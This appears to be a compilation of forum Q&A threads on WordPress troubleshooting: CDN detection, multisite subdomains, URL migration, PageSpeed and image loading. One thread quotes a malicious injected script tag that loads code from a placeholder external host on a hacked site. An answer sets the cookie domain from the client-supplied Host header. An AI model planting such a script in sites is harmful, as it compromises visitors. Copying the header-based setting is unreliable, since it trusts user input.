GTMetrix Not Picking Up CDN - cdn

How do I get GTMetrix to show my CDN? We are using WP Engine and I have gone into 'user settings' under my account and added both (as i'm not sure which is technically correct) for 'YSlow CDN Hostnames':
WP Engine
wpengine
And neither are working. It still shows as F(0).
Another site I am working on also uses Shopify's CDN and that too isn't showing, even with 'Shopify' in the list.
I searched around but could not find an answer. Has anyone succeeded with this?

It should be an hostname (subdomain + domain name), 1 per line:
Example:

Related

Wordpress Multi-Site in a SubDomain

I'm having trouble getting my Wordpress multi-site installation working the way I want it. I have 3 blogs that I want working in subdomains, and I want to use the main domain as the main website for other things.
So, I want:
Main Blog: stephen.digitaleagle.net
2nd Blog: linuxsagas.digitaleagle.net
3rd Blog: psst0101.digitaleagle.net
So, to log into the network, I would use this url:
stephen.digitaleagle.net/wp-admin/network
I can't be the only one who wants it to work this way. Instead, it seems designed to work with the main blog on the main domain and the other blogs as subdomains.
When I create the 2nd blog, it was:
linuxsagas.stephen.digitaleagle.net
I have gotten part way there...
Step 1: Created the site. (I actually used WP-Cli)
Step 2: I updated the wp2_option and wp3_option tables ... I changed the rows where the option_name field was siteurl or home.
Step 3: I edited the site on the sites page and changed the URL.
After those steps, the blogs show up on the correct URLs. My problem is that the admin logins don't work. I don't get an error message. it just doesn't log in for some reason.
If it makes a difference, I am using nginx instead of apache. I don't think that this the problem, because the URL takes me to wordpress.
Is there a correct way to do this? Is this not supported?
I finally figured it out by adding error_log() statements into the wordpress code and with this post:
Can't log in: “ERROR: Cookies are blocked or not supported by your browser. You must enable cookies to use WordPress.”
I cleared my cookies for the site, and that's when I started getting the error message about cookies not being enabled for the site.
I added this line to the wp-config.php file:
define('COOKIE_DOMAIN', $_SERVER['HTTP_HOST'] );
I'm still not sure if this is the "right" way, but it is working, and I guess that is what counts.

Wordpress - instance always generates page that switches to external site

I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?
The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.

Wordpress find and replace image URLs not working

I have migrated a wordpress site from a subdomain on my host, to my client's domain on their host. Only the image URL's were still linking to my subdomain. I used a find and replace plugin as well as going straight through phpmyadmin to modify the database with a find and replace command as well. I believe I was successful in changing the URLs, but apparently they are wrong, as there is an extra folder in the URLs. Now when I try to correct this, find and replace does not detect the (incorrect) URL I am trying to replace with the correct one. I have tried many variations of the URLs, from the entire thing to just parts. Any thoughts?
Trying to replace:
http://www.themaggiedress.com/public_html/themaggiedress/wp-content/uploads/
with:
http://www.themaggiedress.com/public_html/wp-content/uploads/
in the database.
Have you tried updating your permalinks?
Also make sure your 'WordPress Address (URL)' and 'Site Address (URL)' are correct in general settings? (It should not reflect the Sub Domain)
You can also manually look for the images in your Wordpress directory and make sure the links are right when investigating them in the browsers console.

Google PageSpeed stops some WordPress pages from rendering fully

So I've got PageSpeed on top of Nginx serving a pretty simple Wordpress install.
This problem seemed to coincide with upgrading to Wordpress 4.2.2; however, after downgrading to 4.1.5 to see if this was the issue, it turned out not to be the case.
Normally I wouldn't blame PageSpeed, but using ?PageSpeed=off in the URL fixes the issue completely. And just to be clear -- there's no cache in the admin area.
Another odd thing is that it only seems to effect Pages (as opposed to Posts) in the CMS, so it seems like PageSpeed might have some conflict with scripts/styles/something specific to Pages.
I am currently baffled, so any suggestions are appreciated.
Open the file "pagespeed.conf" search for:
ModPagespeedRewriteLevel PassThrough
uncomment this line and change it to:
ModPagespeedRewriteLevel CoreFilters (is save for most websites)
if this line above not helps try to change into:
ModPagespeedRewriteLevel OptimizeForBandwidth (stronger guarantee of safety)
see also the online reference about this subject at PageSpeed: https://developers.google.com/speed/pagespeed/module/config_filters?hl=nl

Wordpress MU (WPMU) / Multi Site - Sometimes images isn't showing

I'm still new here - but I hope someone is willing and able to help me with my issue:
We recently merged our regular old school Wordpress blogs into 1 WP MU/multisite installation.
But this came at a terrible cost.
I have 5 sites in my installation right now - and this is how I see them in my WPMU installation (for later reference):
Primary site:
site1.com
Secondary sites with own domain: (parked domain pointing at same server)
site2.com
site3.com
site4.com
Secondary site without own domain: (primary domain with subdirectory)
site1.com/site4com
All images IS WORKING on my primary site (site1.com).
On my secondary sites (with or without own domain), my images is sometimes working and sometimes not. I'll try to explain the pattern:
In the morning everything is typically working. It "feels" like the number of visitors and how much they "stress" the system will provoke image load errors. When "it's not working", usually half the images is loaded correctly and the other half isn't. Selecting one of the images not loaded and pasting the URL to a new pane/window and loading it alone ALWAYS works - no matter how quick and for how long I press F5 to stress the server.
So from above description I will try to conclude this error is related to how WP MU handles the secondary sites images. I think there is some "server forward"/"url resolve" logic different from WP MU and regular WP (I assume primary site works just like a regular blog).
So if someone could either:
Help me solve this issue in total
or help me identify the difference between primary/secondary url resolve
I would be so grateful !!
Thank you for reading this far no matter what!!
EDIT:
Just found a post on wordpress.org with the same issue - but no solution:
http://wordpress.org/support/topic/subdirectory-images-randomly-not-loading
I think its the problem of your WP updation. Have you ever done the Wp update after the installation, If so try to add the following code to your wp-config file.
define('WP_DEBUG', false);
define('WP_ALLOW_MULTISITE', true);
If it also not working please post here, let search for a different solution.

Resources